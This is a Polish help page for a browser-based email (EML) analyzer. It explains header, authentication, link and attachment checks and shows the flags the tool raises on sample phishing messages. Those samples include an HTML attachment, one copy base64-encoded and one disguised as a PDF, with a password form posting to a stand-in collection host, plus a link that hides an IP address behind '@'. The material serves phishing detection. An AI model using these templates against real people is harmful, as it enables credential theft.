Sprawdź rekordy SPF (z ograniczeniem do 10 wyszukiwań), DMARC, DKIM, MTA-STS i BIMI dla danej domeny.
Analizator EML
Samo narzędzie jest w języku angielskim; na tej stronie znajdziesz wyjaśnienia w Twoim języku.
Użyj Analizator EML
Jak to działa
Przeciągnij plik .eml lub wklej treść wiadomości, aby sprawdzić nagłówki nadawcy, łańcuch „Received”, linki i załączniki. Wszystko działa w przeglądarce.
Działa całkowicie w przeglądarce: żadne wprowadzone dane nie są przesyłane.
Jak korzystać z Analizator EML
- Pobierz surową wiadomość. Zapisz wiadomość e-mail w formacie .eml lub skopiuj jej kod źródłowy: w Gmailu wybierz opcję „Pokaż oryginał”, w Outlooku – „Wyświetl kod źródłowy wiadomości”, a w Thunderbirdzie lub Apple Mail – „Wyświetl kod źródłowy”. Pliki .msg programu Outlook nie są odczytywane.
- Załaduj to. Przeciągnij plik .eml do pola lub wybierz go (maks. 50 MB) albo wklej treść do pola tekstowego (maks. 5 MB) i naciśnij przycisk „Analizuj”.
- Przeczytaj streszczenie. Wyniki są posortowane według kategorii: sygnały ostrzegawcze, ostrzeżenia, uwagi i pozytywne wyniki kontroli. Każdy wiersz zawiera nazwę nagłówka, linku lub załącznika, z którego pochodzi.
- Sprawdź szczegóły. Pod podsumowaniem znajdują się nagłówki nadawcy, domeny porównane z domeną „From”, wyniki uwierzytelniania, łańcuch „Received”, wszystkie linki oraz wszystkie załączniki.
- Sprawdź wskaźniki. Zaznacz potrzebne typy wskaźników, a następnie skopiuj je w postaci surowej lub po usunięciu danych wrażliwych, pobierz je jako plik .txt lub skorzystaj z opcji „Wyślij do”.
Przykład
Starannie przygotowana wiadomość phishingowa
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Nazwa wyświetlana podszywająca się pod support@example.com, pola „Reply-To” i DKIM w innych domenach, błąd DMARC, link, którego tekst wskazuje na www.example.com, ale prowadzi do login.example.net, oraz załącznik „invoice.pdf.html” zawierający formularz do podania hasła.
Co jest sprawdzane
| Sygnał | Co to oznacza |
|---|---|
| Wyświetl nazwę wraz z adresem e-mail | Niebezpieczeństwo pojawia się, gdy nazwa wskazuje jeden adres, a rzeczywisty nadawca ma inny. Aplikacje pocztowe często wyświetlają tylko nazwę. |
| Adres zwrotny w innej domenie | Uwaga: Twoja odpowiedź trafi do innej organizacji niż nadawca. |
| Wyniki uwierzytelniania | Błąd DMARC i błąd SPF to sygnały ostrzegawcze; wynik „softfail” SPF oraz błąd DKIM to ostrzeżenia. Liczy się wyłącznie wynik podany przez Twojego dostawcę usług. |
| Domeny Return-Path i DKIM d= | Zostaje to odnotowane, gdy różnią się one od domeny „From”. Jest to normalne w przypadku usług wysyłki masowej, ale protokół DMARC wymaga, aby jedna z nich była zgodna. |
| Otrzymany łańcuch | Skoki są wyświetlane w kolejności od najstarszego do najnowszego, z uwzględnieniem opóźnień. Oznaczane są te, których sygnatura czasowa jest wcześniejsza niż poprzedniego skoku, opóźnienie przekracza godzinę lub odwrotny DNS nosi oznaczenie „może być sfałszowany”. |
| Tekst linku i miejsce docelowe | Niebezpieczeństwo występuje, gdy widoczny tekst wskazuje jedną domenę, a link prowadzi do innej, lub gdy tekst przed znakiem @ ukrywa rzeczywisty adres hosta. Oznaczane są również same adresy IP, adresy w formacie Punycode, skróty linków oraz linki zawarte w tagach. |
| Załączniki | Zostają oznaczone pliki z podwójnymi rozszerzeniami, pliki uruchamiające kod lub otwierające się w przeglądarce, treści niezgodne z rozszerzeniem oraz sztuczki polegające na zastąpieniu kierunku od prawej do lewej. Każdy plik otrzymuje skróty SHA-256, SHA-1 i MD5. |
| Formularze i skrypty w HTML | Formularz zawierający pole na hasło w treści lub załącznik stanowi sygnał ostrzegawczy. Kod skryptowy w załączniku to sygnał ostrzegawczy. |
Więcej przykładów
Link, który ukrywa adres IP
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 sygnał ostrzegawczy: „1 link: tekst przed znakiem »@« jest ignorowany: rzeczywisty host to 203.0.113.7” oraz 1 ostrzeżenie: „1 link: link prowadzi do samego adresu IP”. W tabeli „Linki” obok tekstu „Rozbudowa pamięci masowej” widnieje ten adres w postaci unieszkodliwionej.
Strona HTML udająca plik PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 sygnały ostrzegawcze: załącznik „invoice.pdf” „zawiera formularz z polem na hasło”, a jego „treść to dokument HTML, a nie plik .pdf”. Karta załącznika pokazuje: Treść: dokument HTML oraz trzy skróty; w tabeli „Linki” wymieniono adres docelowy formularza z adnotacją „formularz wysyła dane na ten adres”.
Najczęściej zadawane pytania
Co sprawdza narzędzie EML Analyzer?
Dekoduje nagłówki i każdą część MIME, porównuje domeny z pól „From”, „Reply-To”, „Return-Path”, „DKIM d=” oraz „Message-ID”, a także odczytuje pole „Authentication-Results”. Wyświetla również listę przekaźników z polami „Received” wraz z opóźnieniami, wszystkie linki wraz z widocznym tekstem oraz skróty SHA-256, SHA-1 i MD5 każdego załącznika.
Czy może potwierdzić, że dana wiadomość e-mail stanowi próbę wyłudzenia danych, czy też jest bezpieczna?
Nie. Przedstawia to fakty i sygnały ostrzegawcze, a nie ostateczną ocenę: legalna poczta masowa często ma inną ścieżkę zwrotną (Return-Path) lub domenę DKIM, a podpisy DKIM są wyświetlane, ale nie są weryfikowane kryptograficznie. Pliki .msg programu Outlook nie są obsługiwane; najpierw zapisz wiadomość w formacie .eml.
Czy ten e-mail został gdzieś przesłany?
Nie. Plik jest odczytywany i analizowany w przeglądarce, kod HTML jest wyświetlany jako tekst i nigdy nie jest renderowany, a żadne dane nie są przesyłane przez sieć. Przycisk „Wyślij do” przekazuje wynik do strony innego narzędzia za pośrednictwem pamięci sesji przeglądarki.
Której nagłówkowej wartości „Authentication-Results” ufa?
Ten dodany przez Twój własny system pocztowy, rozpoznany na podstawie łańcucha pól „Received” i oznaczony jako „dodany przez serwer odbiorcy”. Nagłówki znajdujące się niżej w treści wiadomości mogą być zapisane przez nadawcę, dlatego strona zaleca, aby ufać wyłącznie wynikowi podanemu przez Twojego dostawcę usług.
Czy można otworzyć wiadomość e-mail załączoną do innej wiadomości e-mail?
Tak. Załączona wiadomość jest wyświetlana wraz z jej skrótami oraz przyciskiem „Przeanalizuj załączoną wiadomość”, który otwiera ją w tym samym widoku. Przycisk „Powrót do wiadomości nadrzędnej” pozwala wrócić do poprzedniej wiadomości.
Dlaczego w wskaźnikach brakuje niektórych adresów IP?
Adresy prywatne i lokalne oraz przeskoki w ramach systemu pocztowego samego odbiorcy są pomijane, ponieważ nie wskazują one na serwery nadawcy. Adresy e-mail odbiorców również nigdy nie są uwzględniane.